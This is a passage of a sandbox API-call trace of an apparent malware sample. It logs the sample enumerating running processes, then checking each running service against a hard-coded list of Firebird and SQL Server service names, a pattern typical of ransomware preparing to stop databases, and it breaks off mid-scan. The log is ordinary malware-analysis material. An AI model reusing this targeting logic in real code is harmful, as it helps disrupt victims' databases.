lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.853] lstrlenW (lpString="svchost.exe") returned 11 [0177.853] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.853] lstrlenW (lpString="svchost.exe") returned 11 [0177.853] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.854] lstrlenW (lpString="spoolsv.exe") returned 11 [0177.854] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.854] lstrlenW (lpString="svchost.exe") returned 11 [0177.854] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.855] lstrlenW (lpString="audiodg.exe") returned 11 [0177.855] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.855] lstrlenW (lpString="sihost.exe") returned 10 [0177.855] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.856] lstrlenW (lpString="svchost.exe") returned 11 [0177.856] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.856] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.856] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0177.857] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0177.857] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.857] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.857] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.858] lstrlenW (lpString="Memory Compression") returned 18 [0177.858] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.858] lstrlenW (lpString="explorer.exe") returned 12 [0177.858] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.859] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.859] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.859] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.859] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.860] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.860] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.860] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.860] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0177.875] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0177.875] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0177.876] lstrlenW (lpString="consent.exe") returned 11 [0177.876] Process32NextW (in: hSnapshot=0x560, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0177.892] CloseHandle (hObject=0x560) returned 1 [0177.893] Sleep (dwMilliseconds=0x1f4) [0178.496] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e2f8 [0178.497] EnumServicesStatusExW (in: hSCManager=0x408e2f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0178.498] GetLastError () returned 0xea [0178.498] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0178.498] EnumServicesStatusExW (in: hSCManager=0x408e2f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0178.499] CloseServiceHandle (hSCObject=0x408e2f8) returned 1 [0178.499] lstrlenW (lpString="Appinfo") returned 7 [0178.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0178.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0178.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0178.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0178.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0178.885] lstrlenW (lpString="AppXSvc") returned 7 [0178.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0178.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0178.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0178.886] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0178.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0178.886] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.886] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.886] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.886] lstrlenW (lpString="Audiosrv") returned 8 [0178.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0178.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0178.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0178.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0178.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0178.886] lstrlenW (lpString="BFE") returned 3 [0178.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0178.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0178.886] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0178.886] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0178.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0178.887] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0178.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.887] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0178.887] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0178.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0178.887] lstrlenW (lpString="CDPSvc") returned 6 [0178.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0178.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0178.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0178.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0178.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0178.887] lstrlenW (lpString="ClickToRunSvc") returned 13 [0178.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.887] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0178.887] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0178.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0178.887] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0178.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0178.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0178.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0178.888] lstrlenW (lpString="CryptSvc") returned 8 [0178.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0178.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0178.888] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0178.888] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0178.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0178.888] lstrlenW (lpString="DcomLaunch") returned 10 [0178.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.888] lstrlenW (lpString="DeviceAssociationService") returned 24 [0178.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0178.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0178.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0178.888] lstrlenW (lpString="Dhcp") returned 4 [0178.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.889] lstrlenW (lpString="Dnscache") returned 8 [0178.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.889] lstrlenW (lpString="DPS") returned 3 [0178.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0178.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0178.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0178.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0178.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0178.889] lstrlenW (lpString="DusmSvc") returned 7 [0178.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0178.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0178.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0178.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0178.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0178.889] lstrlenW (lpString="EventLog") returned 8 [0178.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0178.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0178.889] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0178.889] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0178.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0178.890] lstrlenW (lpString="EventSystem") returned 11 [0178.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.890] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.890] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.890] lstrlenW (lpString="FontCache") returned 9 [0178.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0178.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0178.890] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0178.890] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0178.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0178.890] lstrlenW (lpString="gpsvc") returned 5 [0178.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.890] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.890] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.890] lstrlenW (lpString="iphlpsvc") returned 8 [0178.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.890] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0178.890] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0178.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0178.891] lstrlenW (lpString="KeyIso") returned 6 [0178.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0178.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0178.891] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0178.891] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0178.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0178.891] lstrlenW (lpString="LanmanServer") returned 12 [0178.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0178.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0178.986] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0178.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0178.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0178.987] lstrlenW (lpString="LanmanWorkstation") returned 17 [0178.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.987] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0178.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0178.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0178.987] lstrlenW (lpString="lfsvc") returned 5 [0178.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0178.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0178.987] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0178.987] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0178.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0178.987] lstrlenW (lpString="lmhosts") returned 7 [0178.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.987] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.987] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.987] lstrlenW (lpString="LSM") returned 3 [0178.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0178.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0178.987] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0178.987] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0178.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0178.988] lstrlenW (lpString="MpsSvc") returned 6 [0178.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0178.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0178.988] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0178.988] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0178.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0178.988] lstrlenW (lpString="NcbService") returned 10 [0178.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0178.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0178.988] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0178.988] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0178.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0178.988] lstrlenW (lpString="netprofm") returned 8 [0178.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0178.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0178.988] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0178.988] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0178.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0178.989] lstrlenW (lpString="NgcSvc") returned 6 [0178.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0178.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0178.989] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0178.989] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0178.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0178.989] lstrlenW (lpString="NlaSvc") returned 6 [0178.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0178.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0178.989] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0178.989] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0178.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0178.989] lstrlenW (lpString="nsi") returned 3 [0178.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.989] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.989] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.990] lstrlenW (lpString="PcaSvc") returned 6 [0178.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0178.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0178.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0178.990] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0178.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0178.990] lstrlenW (lpString="PlugPlay") returned 8 [0178.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.990] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.991] lstrlenW (lpString="Power") returned 5 [0178.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.991] lstrlenW (lpString="ProfSvc") returned 7 [0178.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.991] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.991] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.991] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.991] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.991] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.991] lstrlenW (lpString="RpcSs") returned 5 [0178.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.991] lstrcmpiW 